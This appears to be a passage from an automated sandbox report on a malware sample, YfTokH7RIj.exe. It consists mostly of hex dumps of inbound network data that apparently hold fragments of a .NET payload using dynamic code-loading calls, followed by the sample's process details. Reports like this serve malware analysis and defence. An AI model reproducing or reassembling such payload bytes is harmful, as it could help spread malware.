Ascii: 5tN[-z0@#;)Rg*QAFZo3&TEpM,d9.r"(k#9nuvu{;aPWK&3:C\Q)~ujqM18u6d2k05=EO!BgSHs%mCg_fh?BkA@2}>'yT9#2
2021-12-28 17:13:33 UTC	3887	IN	Data Raw: 70 bd f4 de ec ab 61 df 47 b1 23 9f 74 86 18 21 d8 b8 c5 60 aa b3 2a 31 86 a8 9c 3c 8a f6 d5 32 6f 54 94 14 f7 b7 a7 fe a3 67 cf 1d 36 66 5a 53 89 99 c2 7b 89 54 ca 95 46 c3 44 be d1 91 f8 20 31 70 14 1a 17 73 39 d4 13 9f d2 b0 89 b8 a6 be 05 2e cb 3f 97 1e 16 e1 7f c2 89 56 47 a9 10 87 f8 21 c4 90 f6 b1 89 f8 a7 d4 36 f8 5f 0d 62 43 49 59 93 f7 cb 09 b5 a2 2b 31 8b 96 2e a9 f5 b5 99 4c e7 0d 22 32 bd 0e 3b 6b 3c 24 c1 e3 05 21 4f 9d 57 5a bf f3 a0 0e 21 64 d7 b8 cf 5f 30 68 78 25 d9 cb 5f cd 68 f7 cf 77 16 4c ef 74 cb 23 78 59 87 e6 33 b1 25 11 e3 a0 1c b9 ec ec 1c b2 a6 56 2a b6 da 07 66 ff fe 91 f5 40 cf f3 7f 52 6c a1 a8 d8 6d e4 56 4a 8f 0d 82 d8 b1 31 0a 35 16 c9 6e c9 98 77 d3 5a 8f 7a 94 95 f0 6d c6 df 32 7f f5 d5 8c 03 bb 8c e6 2b d5 fb 80 b1 64 Data Ascii: paG#t!`1<2oTg6fZS{TFD 1ps9.?VG!6_bCIY+1.L"2;k<$!OWZ!d_0hx%_hwLt#xY3%Vf@RlmVJ15nwZzm2+d
2021-12-28 17:13:33 UTC	3903	IN	Data Raw: 01 d6 12 3f bc f0 9f 24 36 2c b8 5e 3c 97 30 12 d2 e7 33 55 22 61 4b dc bb 71 f3 e4 25 30 1d 30 20 45 53 63 4a df f0 8c f2 17 d6 5e 02 52 51 72 d4 d4 e2 7b a1 84 bb a3 78 92 8e 38 9a 86 fa ce a1 23 8f bd 4f 66 d3 f0 26 21 e1 c8 38 98 3b 9e e8 bf 30 8c 2c c4 45 6b 27 da bb bc 97 83 71 f4 50 4b 83 10 70 28 a0 54 0c a4 6c e2 a7 b1 62 4b ed 82 c6 4a 25 4e 5a 37 f7 5c a0 9b e6 d2 8f 84 79 fa 56 0a c0 c5 23 fa f2 2a 8e 82 0d f8 a7 83 42 d7 09 66 ed fe 11 d7 79 b6 31 eb a6 88 33 a5 49 69 ec 72 f6 62 d9 e0 e8 c1 4c 52 fe 24 3b 40 77 18 91 d3 d9 d9 a5 8f 5b 1b dc 25 79 71 34 57 e5 2f 89 c4 ca 4f 9e 4d c4 4c 47 6a eb b5 7c a6 d9 76 21 e7 8d 8e 0a 1e 33 3c 17 5f 86 7f 22 18 12 e5 69 8a b8 76 67 08 1b 86 45 03 56 b5 68 b4 04 c9 24 95 1d b1 31 7c f2 3e 9d df 63 18 a2 Data Ascii: ?$6,^<03U"aKq%00 EScJ^RQr{x8#Of&!8;0,Ek'qPKp(TlbKJ%NZ7\yV#*Bfy13IirbLR$;@w[%yq4W/OMLGj\|v!3<_"ivgEVh$1\|>c
2021-12-28 17:13:33 UTC	3919	IN	Data Raw: 23 dc 84 51 26 05 fa 2f 21 ae a3 5d 64 9a e1 61 9c e1 e9 79 b8 63 e0 8f 86 22 37 80 d4 e4 d7 e6 6c a8 78 6d ab c2 67 4c 94 27 09 3c 1b 5b 47 df 50 d1 bd cf 3e 3d dd cf 05 22 81 a4 79 6a 24 af 85 be 08 23 62 f8 3e 4d db 3b c0 30 da 69 32 17 19 d2 fc 5d 64 09 a9 82 11 ad 91 84 4e 19 9f e7 70 d4 3e d1 37 20 f0 c9 15 bc e7 06 b2 9e a6 f2 59 84 7e 60 37 89 c5 d9 5b bb f7 d6 db 59 02 4c 03 f1 5e e2 44 4b 68 1c b4 2f 8b 4b 46 29 68 38 71 e6 c2 06 1f 5c 99 0c b0 fa ac 05 d6 0a b1 a8 53 cd 72 19 d6 41 98 52 17 f3 e3 21 44 5d 93 38 9b 50 f2 cd 7d 50 f2 57 3b 9a a2 83 45 97 07 bf 34 cc 58 95 cf a6 7a 2c 4b bb 2b 50 8c cb be 0b e8 e5 55 a6 e7 1b 70 04 a2 cd a9 05 cc 2b 4e c2 8e cf 70 7c f8 e0 c7 7f a8 16 05 22 b9 88 0a 95 24 f4 9d 7f 62 fe b8 fa a1 c2 47 3f ab 0a e1 Data Ascii: #Q&/!]dayc"7lxmgL'<[GP>="yj$#b>M;0i2]dNp>7 Y~`7[YL^DKh/KF)h8q\SrAR!D]8P}PW;E4Xz,K+PUp+Np\|"$bG?
2021-12-28 17:13:33 UTC	3935	IN	Data Raw: c8 a1 d0 aa a7 c1 8f 6c ea f2 a5 1d c7 f2 79 53 27 d0 47 89 90 82 43 a2 15 81 f2 a8 5e 3a 7f 61 1a cf be d3 81 b7 cc 69 65 bf 07 4f 79 84 ab e6 c0 8a 8f ed 44 33 77 61 ab b0 89 5c 92 60 2f b9 84 e2 c5 0b b0 e7 f2 4c ec 20 9d bf 49 12 25 79 8c e4 2c f8 d5 7a 0c 3b 0d 66 b0 5b 01 92 3e 1b 62 c9 d3 0a 18 8b 3f 6d 02 b1 91 86 08 3e 50 4e 4a 4c b0 2d 38 f4 18 11 57 f4 84 47 a1 8d 70 b1 71 6f db 95 5f d3 01 1e 60 65 fe c9 d6 e3 9c 6f 9e f7 fd fa 46 0c 35 28 04 74 41 e4 7b 97 bc 8c 23 5a e5 ce 37 d8 cb e5 73 06 4b e7 77 42 8d 97 a0 ca 5a 52 d7 18 51 57 c0 93 d6 9e 85 4d f7 3e 87 bd 4f 35 ce 12 a7 82 33 e3 aa d1 02 98 13 72 8b 58 a4 68 80 96 7f db 94 6f 81 72 cc 96 70 0a 07 7c fb 01 6b 3e a2 ca df e0 d3 dd 73 80 2b aa b1 ec 6d 1a e2 51 50 85 ca be 86 a9 74 60 99 Data Ascii: lyS'GC^:aieOyD3wa\`/L I%y,z;f[>b?m>PNJL-8WGpqo_`eoF5(tA{#Z7sKwBZRQWM>O53rXhorp\|k>s+mQPt`
2021-12-28 17:13:33 UTC	3951	IN	Data Raw: a6 74 5f 63 4e 6b 00 b4 e8 14 11 c6 35 88 4f d2 37 31 57 12 d9 0e 26 66 f5 71 e1 4c 76 ca 9b e2 31 83 2c 06 5c 48 88 09 c8 26 3e 62 83 df d5 b7 6c d3 30 49 ed 72 ce b7 95 33 a5 d1 aa 88 a5 de 38 45 67 13 b8 48 16 ba 9d 65 36 f3 44 58 5e 75 a3 9e 6a 32 38 b9 ba c0 1f d7 6c 05 63 9b e3 cb 1f 5a 22 8e b6 e7 89 70 4d 7d a2 66 0a 6d 57 1f e4 4c 16 53 ce 2f 76 f5 51 86 21 ce 6b 34 45 25 37 f3 f4 2e 9e 75 5b f3 48 39 ee ec 9d fa 21 f1 d9 df 11 49 45 b7 93 54 80 c2 63 1a 78 2b 1f e6 c3 6f 43 3a 1f 6c 41 25 d2 cc 82 4b b1 11 ed 8d b3 d1 27 96 af eb f9 04 3f 20 9b b8 e2 ed 32 83 3d ce ca 9f 63 c3 e8 89 d5 07 57 b6 98 68 ef ce 27 c4 5f b0 73 1d 79 96 b1 01 fb e9 e7 6e 48 12 09 d5 2b 6f 53 1b 47 97 d8 d2 db 54 f8 54 90 e1 2b 05 b9 2f 65 1a f4 58 9b 8e bd 86 57 2e ad Data Ascii: t_cNk5O71W&fqLv1,\H&>bl0Ir38EgHe6DX^uj28lcZ"pM}fmWLS/vQ!k4E%7.u[H9!IETcx+oC:lA%K'? 2=cWh'_synH+oSGTT+/eXW.
2021-12-28 17:13:33 UTC	3967	IN	Data Raw: a7 b1 bb 16 97 7b 60 82 b9 84 86 7e 49 c4 4b 04 ac aa 71 63 07 15 7a eb 9a 38 23 0b 6a c4 a2 79 81 77 49 8d e7 a5 44 fe 07 1d 18 97 95 53 77 34 d2 d3 9f 3d c3 6c f3 35 af 43 68 88 5e d7 90 fc cf 8f 90 99 5b e0 05 49 36 5e 6e 1d 3d 14 8d 23 ec 5b 55 f5 8f 4d 71 be 09 67 d4 6f 98 1a ff df 73 4e a4 b2 0f df e8 06 4e 1a 37 b6 c0 91 c8 6e 4c e9 af 8d a2 39 a6 da 77 d3 ca c5 c2 41 16 90 dc 34 3c 6e 6a 7c 75 74 a9 e0 d0 09 52 34 6a 35 78 d7 9f f5 98 f9 b7 5f 1c 7a eb 21 c6 cf e2 43 89 2a b2 30 23 8b fc 86 1c 58 cd a2 c8 e5 8b c1 bf 81 1a 06 e8 7b 36 f9 1b 32 36 0f 69 69 b9 86 2d df e6 45 cd 21 92 87 68 fb 99 ed fe 48 47 c7 ae 52 70 da 93 92 4e b6 dc 8f ab 2e 1d b0 9f 83 da dc ee fe 05 d5 ee 1b 77 fc 4b 82 20 6b 68 98 24 98 3c a3 29 71 f4 8c fb 86 91 0a 38 6c 22 Data Ascii: {`~IKqcz8#jywIDSw4=l5Ch^[I6^n=#[UMqgosNN7nL9wA4<nj\|utR4j5x_z!C*0#X{626ii-E!hHGRpN.wK kh$<)q8l"
2021-12-28 17:13:33 UTC	3983	IN	Data Raw: 9f 95 74 d3 a9 a8 70 bc 6e f3 2d 44 32 41 aa c8 29 f7 a2 c2 54 e4 95 19 41 18 a6 dc 61 84 28 21 c2 d3 9b 84 b5 42 cd 44 6f 6a 1b ba 5a fb a2 f2 90 fe 3e 3b eb a5 f9 6f 43 fc 69 4f c5 e3 42 88 ca 93 82 6a 06 65 e5 71 18 50 c4 30 69 8c 1c 26 e9 6e e9 c8 92 ad 88 1b 98 0c 05 da 22 3f 84 78 3c 8a 52 d2 11 9a fe 74 4d 79 8a 8a a8 c7 04 66 d6 2b 62 93 8c e3 37 f5 79 1d 7b cb fc 01 01 1f e6 42 3b 61 09 5e f8 11 0a cc b2 99 a9 ac aa 80 e1 4a f1 13 66 7a ac 49 5a 87 91 cf 53 12 dc c0 7a 0f fb 67 3b 12 4a 0c a4 0f e5 da b6 b8 58 e1 3e 93 ab c2 9a a7 5b b3 00 16 ee 91 1d ce 72 2b 8b 74 7f a3 fc 7f 23 94 5e 33 6a e1 b7 25 ce 95 dc 2c 2b 3a 9a 35 85 03 a8 6f 05 ee 56 36 ba c1 2f e7 3b b1 3d 6f f5 12 1a 46 0b 34 4c 93 39 3b 58 e4 fe 16 18 b8 26 e4 46 99 80 b4 43 12 49 Data Ascii: tpn-D2A)TAa(!BDojZ>;oCiOBjeqP0i&n"?x<RtMyf+b7y{B;a^JfzIZSzg;JX>[r+t#^3j%,+:5oV6/;=oF4L9;X&FCI
2021-12-28 17:13:33 UTC	3999	IN	Data Raw: 27 f0 92 c8 c4 44 96 fd c6 0b bf ac 87 5b bb a3 5c a6 13 63 19 03 57 be 0b da 0c 2b 75 09 b9 a7 48 31 1a f3 8c 66 92 23 da 0d 10 0e 88 a7 c8 93 d6 5b ef 4e ea 3a 88 aa 82 e8 9a 04 80 26 34 64 33 01 e5 1f fb 55 e9 38 45 6c 77 ad c1 71 50 e5 8c d1 0f 46 67 f6 50 c5 fb b9 d2 1c 74 07 15 74 0b 6a 48 9b 12 eb 33 1c d9 d9 c5 23 6d f9 14 f4 c2 57 e0 f3 b5 63 bb 2b d2 eb d0 d6 1d 05 c6 ae 35 25 5b 5f 60 2b 00 1d 5c 20 58 99 6b fc ff 65 22 36 43 d3 ba 14 5d 85 5e e1 4d 82 a0 be 2a e0 55 4d 95 ed 73 5c 36 61 e5 17 25 7f 0d e2 d5 1d 68 41 43 b1 ab 5d 92 0c 96 67 ed 64 d2 3d 4c 81 14 d1 30 25 69 95 89 87 d3 d8 7d fd 4b 62 e3 b3 d8 c9 71 e2 e9 36 95 03 52 19 4e f5 4d 80 89 e0 34 1d b9 30 f8 b9 5d a1 15 82 62 34 1f ba 5a 67 88 38 74 97 b2 4e 2f ec 14 79 4a 0e 1e 16 10 Data Ascii: 'D[\cW+uH1f#[N:&4d3U8ElwqPFgPttjH3#mWc+5%[_`+\ Xke"6C]^M*UMs\6a%hAC]gd=L0%i}Kbq6RNM40]b4Zg8tN/yJ
2021-12-28 17:13:33 UTC	4015	IN	Data Raw: f1 3f 65 92 40 4d ad cb ed d3 24 1e d2 cf b1 e3 46 90 c8 08 bd b0 86 56 56 e3 cc 68 56 a3 d5 1c 8c 99 8c 66 36 0b 65 0e 44 f2 95 f5 99 71 b3 f9 74 56 2c d3 fc ab 58 74 40 e3 d9 ad 84 85 c0 e6 5b 2d f1 d1 fb eb c2 1f d9 ff 8a 7d 80 69 de fc 33 a6 b2 5f 68 60 c1 dc 91 a5 bb e6 ef 2a a7 d4 c9 e1 61 e8 6d 80 9a 14 b4 8b 34 9d d2 51 75 f0 bf d9 6c 22 1a 29 9a 47 3a 2b 2e cd 40 29 a5 0e b4 48 03 79 3b 28 b8 59 48 6b c7 26 e4 0e 0f 49 43 10 40 d1 82 b5 f7 83 44 55 37 44 87 77 0c 3d cd 51 1e a6 3d 63 47 8e aa 82 b8 5e 34 95 df 02 5e b0 d8 3f 52 93 21 aa 0b b2 58 1d b8 82 4a 4e e9 38 82 58 5e 73 7c ce 78 b0 bd 42 0e 42 72 69 e3 9f 35 88 8b 4e ff 42 dc 07 46 a9 68 65 83 ed 9f 7b ea 23 df c3 56 32 2e 04 cf 47 b1 bf 29 61 12 b9 3d 94 c0 c3 3c 8d dc f6 fb 91 29 e8 18 Data Ascii: ?e@M$FVVhVf6eDqtV,Xt@[-}i3_h`*am4Qul")G:+.@)Hy;(YHk&IC@DU7Dw=Q=cG^4^?R!XJN8X^s\|xBBri5NBFhe{#V2.G)a=<)
2021-12-28 17:13:33 UTC	4031	IN	Data Raw: 5d f1 e6 29 a9 31 cd 0f 0d 0b e5 27 b4 f4 66 a2 06 ac 15 56 2a 61 a0 c6 49 fb 44 6e ce 5a 72 cc 4d 5e 80 18 e3 e7 6e 3d 12 4a a4 e3 46 91 26 09 05 9a a9 f2 63 8c 06 73 5e b0 da 04 f9 de eb fe 8e 73 8d db 51 93 d7 d9 ac 86 b2 85 6d d8 73 a6 b1 f8 70 2c ca 7d 2b 0c f3 9b ec da 15 0d 04 2e 79 85 f5 88 82 73 cc 32 d9 a4 a6 0f a9 cd 75 cb 13 41 a7 0a 83 43 1a ff 60 95 2c fa b7 27 f6 87 31 42 37 4a ad 0d 5a b9 88 7c d1 21 c0 59 82 bb 76 4c e2 e8 88 a2 89 cb 9b 94 9e a1 fb c7 57 d4 8f fd eb 9b 73 7e 73 1f ac eb 3f 79 de 89 b8 90 5e fb f0 a2 54 e5 c5 42 f6 74 da 59 ea eb 26 61 6d fe d2 8a cc 43 cc f1 b0 ba 4a 33 3c e1 7b a2 73 a8 9f 23 59 69 43 4c 24 3e 39 99 41 ae 23 73 a8 cc 67 5e 75 4b aa 23 2a 8e 8e a2 a8 77 85 b7 b1 43 5f 4e 79 1f c4 c2 43 10 91 6e 17 05 bb Data Ascii: ])1'fVaIDnZrM^n=JF&cs^sQmsp,}+.ys2uAC`,'1B7JZ\|!YvLWs~s?y^TBtY&amCJ3<{s#YiCL$>9A#sg^uK#wC_NyCn
2021-12-28 17:13:33 UTC	4047	IN	Data Raw: e9 9a f6 b6 ee 8a 37 ef 17 c4 25 84 e3 5a 20 f5 e3 0a 5b bb 1f 1b e0 eb 53 49 93 20 e4 d6 6d d0 23 30 91 93 8a ed 35 45 94 c4 db 64 39 46 83 79 12 a3 ff cf ec f3 ef 82 b8 a6 3b ba bd 4f ca d8 69 ca 49 cd c7 77 2b 7f 25 65 d9 60 d4 fe da ca e4 24 01 d8 f1 e0 2b 27 ba 25 c5 27 3c a5 32 16 da 00 90 40 1c ad a7 9f 68 29 f4 f1 08 a3 8c b1 ce 5b 20 f3 84 3e 5d e0 52 e1 4c 8e d6 95 f9 13 68 59 eb 26 56 90 cf 9b b2 37 cb 50 ae 79 7b e0 33 ce 97 49 74 3e c8 bb 0b 2e 71 2a 03 3e 9f 24 39 44 73 97 36 30 b4 79 c7 4b 8b 3f 7d 1d 18 73 80 1e 10 94 51 58 af d7 b9 41 1e da 2e ff 63 82 3e 0d 68 5c e0 30 0d bf 55 fc 2f c0 a7 85 c8 2f 7d b9 2a 3b d9 d2 30 5e 74 3e eb c3 f7 2d 9e c8 c8 34 f4 a8 71 d5 16 dc 44 ec 64 ff 22 93 89 55 7b 71 5f ab 1a 31 b2 9a ce 91 9e 50 91 10 52 Data Ascii: 7%Z [SI m#05Ed9Fy;OiIw+%e`$+'%'<2@h)[ >]RLhY&V7Py{3It>.q>$9Ds60yK?}sQXA.c>h\0U//};0^t>-4qDd"U{q_1PR
2021-12-28 17:13:33 UTC	4063	IN	Data Raw: 08 33 28 43 00 00 01 1c bf 29 28 6a 3a 7f 00 ff 1e b3 00 00 00 13 30 08 00 12 00 00 00 00 00 00 00 73 6b 01 00 06 14 20 18 94 5e 00 28 dc 01 00 06 26 2a 00 20 00 00 80 6c 1e 00 20 00 00 60 00 a0 1e 00 aa 01 21 00 60 00 00 60 28 10 00 00 00 21 71 00 5c 34 00 81 2f 00 28 42 00 00 01 1c 58 28 5a 00 00 0a e1 9e 20 00 28 97 00 00 0a e4 cc 71 00 ef 6d 00 28 e8 01 00 06 f7 28 43 00 00 01 1c ca 28 97 37 7f 00 08 33 28 43 00 00 01 1c 01 29 28 7c 37 7f 00 ff b0 db df 07 00 4a 04 00 28 81 00 00 01 de 28 15 00 00 0a 23 21 07 00 5c 07 00 28 12 00 00 0a 5d 28 87 00 00 0a f5 28 88 00 00 0a fa 28 00 00 00 00 81 08 00 28 05 00 00 00 28 01 00 00 00 47 29 28 01 00 00 00 08 28 43 00 00 01 1c bf 28 c7 8a 5e 00 ff 33 28 43 00 00 01 1c ca 29 28 cb 24 7f 00 08 1e 0b 9e 34 00 cc Data Ascii: 3(C)(j:0sk ^(&* l `!``(!q\4/(BX(Z (qm((C(73(C)(\|7J((#!\(](((((G)((C(^3(C)($4
2021-12-28 17:13:33 UTC	4079	IN	Data Raw: 5b 07 20 1f 00 00 00 5f 62 0b 02 fe 06 cf 01 00 06 20 5b 60 10 4c 07 61 0b 73 8d 03 00 06 20 d8 06 f7 31 07 20 1f 00 00 00 5f 62 0b 6f fe 00 00 0a 07 20 6e 47 52 57 60 0b 02 07 20 06 00 00 00 64 0b 7b 83 00 00 04 07 20 a5 48 5d 03 59 20 34 33 b8 7f 07 60 0b 02 20 ca 7d f2 38 07 20 1f 00 00 00 5f 62 0b fe 06 d8 01 00 06 73 8d 03 00 06 07 20 50 3d b4 16 5e 0b 6f fe 00 00 0a 20 cb 10 f2 03 07 59 0b 02 7b 83 00 00 04 07 20 fc 77 9a 52 60 0b 07 20 86 ff da f3 59 02 20 af 2c 44 69 07 60 0b fe 06 bb 01 00 06 73 8d 03 00 06 6f fe 00 00 0a 20 89 4a 5a 61 07 5f 39 ff de ff ff 02 20 3b 31 03 09 07 59 0b 7b 83 00 00 04 07 20 07 0a bf 02 60 0b 07 20 45 3b bf 0f 61 07 20 79 61 00 1a 61 0b 02 fe 06 c7 01 00 06 20 1a 66 61 39 07 58 0b 73 8d 03 00 06 07 20 06 00 00 00 62 Data Ascii: [ _b [`Las 1 _bo nGRW` d{ H]Y 43` }8 _bs P=^o Y{ wR` Y ,Di`so JZa_9 ;1Y{ ` E;a yaa fa9Xs b
2021-12-28 17:13:33 UTC	4095	IN	Data Raw: 13 15 13 14 11 1a 73 09 01 00 0a 13 10 11 15 20 ad 49 a9 0e 5e 13 15 11 15 20 88 51 5a 3a 41 55 f8 ff ff 12 10 11 15 20 0d 42 e5 0a 59 13 15 28 cd 00 00 0a 11 15 20 d0 43 f7 5c 5e 13 15 11 14 6f 15 02 00 06 11 15 20 85 13 10 43 60 13 15 28 0a 01 00 0a 11 14 20 7d 7f 59 33 11 15 5f 13 15 6f 15 02 00 06 73 ee 02 00 06 2a 11 15 20 06 00 00 00 64 13 15 20 2a 3e 6a 23 11 15 58 39 2e f8 ff ff 0e 04 39 a4 00 00 00 03 6f 20 02 00 06 11 15 20 8a 77 c4 31 5c 13 15 13 12 11 15 20 12 00 00 00 62 13 15 04 20 9e 01 76 1f 11 15 20 1f 00 00 00 5f 62 13 15 6f 20 02 00 06 20 77 6a 52 40 11 15 5f 13 15 13 18 20 18 40 37 60 11 15 20 1f 00 00 00 5f 64 13 15 05 20 f2 37 7f 13 11 15 5a 13 15 3a 16 00 00 00 11 15 20 ae 13 76 13 43 bd f7 ff ff 11 12 11 18 59 38 19 00 00 00 20 ac Data Ascii: s I^ QZ:AU BY( C\^o C`( }Y3_os* d *>j#X9.9o w1\ b v _bo wjR@_ @7` _d 7Z: vCY8
2021-12-28 17:13:33 UTC	4111	IN	Data Raw: 9a 11 07 20 bc 52 76 4b 5a 13 07 6f 11 02 00 06 11 07 20 1b a9 81 13 61 13 07 12 03 28 31 01 00 0a 20 d2 05 1c 0e 11 07 5c 13 07 3a b1 ff ff ff dd 0e 00 00 00 12 03 fe 16 15 00 00 1b 6f 32 00 00 0a dc 20 2d 07 cb 01 13 07 06 11 07 20 f1 63 d4 5b 58 13 07 39 87 00 00 00 11 07 20 1c 0e 16 4f 43 dd ff ff ff 02 06 20 e8 16 b7 13 11 07 59 13 07 28 86 01 00 06 13 05 11 07 20 72 0a 8f 49 58 39 bd ff ff ff 11 05 11 07 20 bf 69 ee 14 58 13 07 d0 a9 00 00 01 28 82 00 00 0a 11 07 20 95 55 99 92 58 13 07 3b 36 00 00 00 11 07 20 44 1e 62 47 58 13 07 20 4b 08 4e 39 11 07 5e 39 1f 00 00 00 02 20 c1 7f 9e 48 11 07 5e 13 07 11 04 11 07 20 10 00 00 00 62 13 07 11 05 28 84 01 00 06 2a 20 58 7e 33 47 11 07 5a 39 d4 ff ff ff 14 2a 00 41 1c 00 00 02 00 00 00 0b 03 00 00 59 00 Data Ascii: RvKZo a(1 \:o2 - c[X9 OC Y( rIX9 iX( UX;6 DbGX KN9^9 H^ b(* X~3GZ9*AY
2021-12-28 17:13:33 UTC	4127	IN	Data Raw: 7b 86 00 00 04 3a 11 00 00 00 20 2f 0c 90 3b 07 61 39 05 00 00 00 dd 37 00 00 00 20 9d 01 59 61 07 61 39 a6 ff ff ff dd 9a ff ff ff 0a 02 20 18 3c 74 58 0b 06 20 65 0f 76 1f 07 58 0b 28 8e 01 00 06 20 cc 5a c5 7f 07 43 e0 ff ff ff dd 74 ff ff ff 02 20 05 5a 81 32 0b 28 6d 01 00 06 07 20 14 00 00 00 64 0b 6f 10 02 00 06 0c dd 2c 00 00 00 20 5e 74 1b 40 0b 07 20 ba 53 9e 38 3b 1a 00 00 00 02 20 51 68 4b 63 07 61 0b 28 db 01 00 06 07 20 a5 2e 41 17 5a 39 d5 ff ff ff dc 08 2a 00 00 41 34 00 00 00 00 00 00 28 00 00 00 5f 00 00 00 87 00 00 00 26 00 00 00 2e 00 00 01 02 00 00 00 21 00 00 00 ab 00 00 00 cc 00 00 00 2c 00 00 00 00 00 00 00 13 30 1c 00 26 00 00 00 f5 00 00 11 20 db 45 b3 07 0a 73 7e 01 00 0a 80 89 00 00 04 73 7f 01 00 0a 80 8a 00 00 04 20 70 0a c9 Data Ascii: {: /;a97 Yaa9 <tX evX( ZCt Z2(m do, ^t@ S8; QhKca( .AZ9*A4(_&.!,0& Es~s p
2021-12-28 17:13:33 UTC	4143	IN	Data Raw: 0a 02 7b cc 00 00 04 06 20 03 60 e9 0b 59 0a 73 22 03 00 06 2a 13 30 1c 00 18 00 00 00 09 02 00 11 20 d0 7d 47 3d 0a 02 7b cb 00 00 04 02 7b cc 00 00 04 6f 6b 01 00 0a 2a 13 30 1c 00 43 00 00 00 0a 02 00 11 02 20 f6 5a 7b 1f 0a 7b cb 00 00 04 20 11 1d 58 7c 06 61 0a 03 06 20 c9 2a 0d 16 5e 0a 02 20 a3 02 6c 4e 06 20 1f 00 00 00 5f 62 0a 7b cc 00 00 04 6f 6a 01 00 0a 06 20 21 19 c2 60 5c 39 be ff ff ff 2a 00 13 30 1a 00 1a 02 00 00 0b 02 00 11 72 c7 07 00 70 d0 91 00 00 01 28 82 00 00 0a 20 28 37 03 16 0a 06 20 da c8 fc e9 58 8d 71 00 00 01 06 20 74 09 02 0c 5f 0a 25 20 11 13 65 47 06 5f 0a 06 20 00 ff ff fb 58 02 20 e3 4f ed 7c 06 5a 0a 7b cb 00 00 04 20 c2 7b d9 31 06 59 0a 6f 4a 01 00 0a 06 20 26 3f af 42 59 0a a2 25 06 20 88 4b e8 0c 59 0a 06 20 15 0e Data Ascii: { `Ys"0 }G={{ok0C Z{{ X\|a ^ lN _b{oj !`\90rp( (7 Xq t_% eG_ X O\|Z{ {1YoJ &?BY% KY
2021-12-28 17:13:33 UTC	4159	IN	Data Raw: 21 d0 01 9b 00 b8 4b 7f 00 00 00 86 00 22 21 f9 05 9b 00 40 4c 7f 00 00 00 86 00 2b 21 ff 05 9d 00 80 4c 7f 00 00 00 86 00 34 21 04 06 9e 00 b8 4c 7f 00 00 00 86 18 29 1c d0 01 9f 00 b4 bf 1e 00 00 00 86 18 29 1c d0 01 9f 00 88 5e 3f 00 00 00 96 00 3d 21 09 06 9f 00 ac 5e 3f 00 00 00 96 00 46 21 0d 06 9f 00 e4 5e 3f 00 00 00 93 00 4f 21 12 06 a0 00 ac 6b 3f 00 00 00 96 00 58 21 09 06 a1 00 d0 6b 3f 00 00 00 96 00 61 21 09 06 a1 00 ec 72 3f 00 00 00 96 00 6a 21 18 06 a1 00 bd c6 1e 00 00 00 86 08 73 21 1e 06 a2 00 c5 c6 1e 00 00 00 81 08 7c 21 24 06 a2 00 ce c6 1e 00 00 00 86 08 85 21 2b 06 a3 00 d6 c6 1e 00 00 00 81 08 8e 21 31 06 a3 00 df c6 1e 00 00 00 86 08 97 21 38 06 a4 00 e7 c6 1e 00 00 00 81 08 a0 21 3e 06 a4 00 f0 c6 1e 00 00 00 86 08 a9 21 45 06 Data Ascii: !K"!@L+!L4!L))^?=!^?F!^?O!k?X!k?a!r?j!s!\|!$!+!1!8!>!E
2021-12-28 17:13:33 UTC	4175	IN	Data Raw: 03 76 44 03 00 40 01 d9 03 91 44 03 00 40 01 db 03 aa 44 03 00 00 01 dd 03 c1 44 04 00 a4 16 20 00 9a 00 c4 16 20 00 9b 00 04 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 44 00 00 04 00 00 00 00 00 00 00 00 00 00 00 8e 17 e4 44 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 8e 17 15 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 97 17 97 02 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 8e 17 71 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ed 44 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 8e 17 65 0a 00 00 00 00 00 00 00 00 01 00 00 00 fe 44 15 00 61 00 49 00 62 00 4a 00 63 00 4a 00 64 00 54 00 65 00 55 00 66 00 5a 00 67 00 5b 00 68 00 5b 00 69 00 5b 00 6a 00 5e 00 6b 00 5e 00 6c 00 5e 00 6d 00 5e 00 6e 00 5e 00 6f 00 5e 00 Data Ascii: vD@D@DD DDqDeDaIbJcJdTeUfZg[h[i[j^k^l^m^n^o^
2021-12-28 17:13:33 UTC	4191	IN	Data Raw: 64 00 52 65 73 6f 6c 76 65 54 79 70 65 00 67 65 74 5f 49 73 53 74 61 74 69 63 00 43 72 65 61 74 65 44 65 6c 65 67 61 74 65 00 47 65 74 4d 65 74 68 6f 64 73 00 67 65 74 5f 44 65 63 6c 61 72 69 6e 67 54 79 70 65 00 47 65 74 50 61 72 61 6d 65 74 65 72 73 00 67 65 74 5f 50 61 72 61 6d 65 74 65 72 54 79 70 65 00 67 65 74 5f 52 65 74 75 72 6e 54 79 70 65 00 67 65 74 5f 49 73 49 6e 74 65 72 66 61 63 65 00 67 65 74 5f 49 73 41 72 72 61 79 00 47 65 74 44 79 6e 61 6d 69 63 49 4c 49 6e 66 6f 00 53 65 74 4c 6f 63 61 6c 53 69 67 6e 61 74 75 72 65 00 67 65 74 5f 4d 65 74 68 6f 64 48 61 6e 64 6c 65 00 47 65 74 54 6f 6b 65 6e 46 6f 72 00 53 65 74 43 6f 64 65 00 4e 65 78 74 00 43 6f 6e 74 61 69 6e 73 4b 65 79 00 67 65 74 5f 56 61 6c 75 65 00 67 65 74 5f 4b 65 79 00 67 65 Data Ascii: dResolveTypeget_IsStaticCreateDelegateGetMethodsget_DeclaringTypeGetParametersget_ParameterTypeget_ReturnTypeget_IsInterfaceget_IsArrayGetDynamicILInfoSetLocalSignatureget_MethodHandleGetTokenForSetCodeNextContainsKeyget_Valueget_Keyge

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: YfTokH7RIj.exe PID: 6764 Parent PID: 5464

General

Start time:	18:13:06
Start date:	28/12/2021
Path:	C:\Users\user\Desktop\YfTokH7RIj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\YfTokH7RIj.exe"
Imagebase:	0x400000
File size:	1666048 bytes
MD5 hash:	1B8BF38E83C31C76C7DD00088AC0922D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
